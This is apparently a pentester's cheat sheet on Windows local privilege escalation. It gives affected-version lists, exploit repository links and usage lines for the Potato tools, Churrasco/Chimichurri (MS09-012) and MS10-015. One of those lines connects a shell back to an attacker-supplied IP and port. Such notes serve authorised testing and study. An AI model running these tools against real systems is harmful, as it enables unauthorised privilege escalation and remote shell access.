Windows Kernel Vulnerabilities

Potato (high)

• Affected version

• Not depend on OS version

JuicyPotato.exe whoami

• https://github.com/ohpe/juicy-potato/releases

Rotten Potato

RottenPotato.exe

• https://github.com/foxglovesec/RottenPotato

MS09-012 (high)

affected version

Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 
Windows XP Service Pack 3
Windows XP Professional x64 Edition 
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 1
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition 
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP1 for Itanium-based Systems 
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista 
Windows Vista Service Pack 1
Windows Vista x64 Edition 
Windows Vista x64 Edition Service Pack 1
Windows Server 2008 for 32-bit Systems
Windows Server 2008 for x64-based Systems
Windows Server 2008 for Itanium-based Systems

• Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation

• https://www.exploit-db.com/exploits/6705

• https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS09-012

• Usage

churrasco.exe whoami

• https://github.com/Re4son/Chimichurri

• Usage

 Chimichurri.exe <my ip> 5555

MS10_015 (high)

• affected version

Windows Server 2003, Windows Server 2008, 7, XP
Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 
Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista、Windows Vista Service Pack 1 
Windows Vista Service Pack 2
Windows Vista x64 Edition、Windows Vista x64 Edition Service Pack 1 
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems 
Windows Server 2008 for 32-bit Systems Service Pack 2*
Windows Server 2008 for x64-based Systems 
Windows Server 2008 for x64-based Systems Service Pack 2*
Windows Server 2008 for Itanium-based Systems 
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems

• Non-affected version

Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for Itanium-based Systems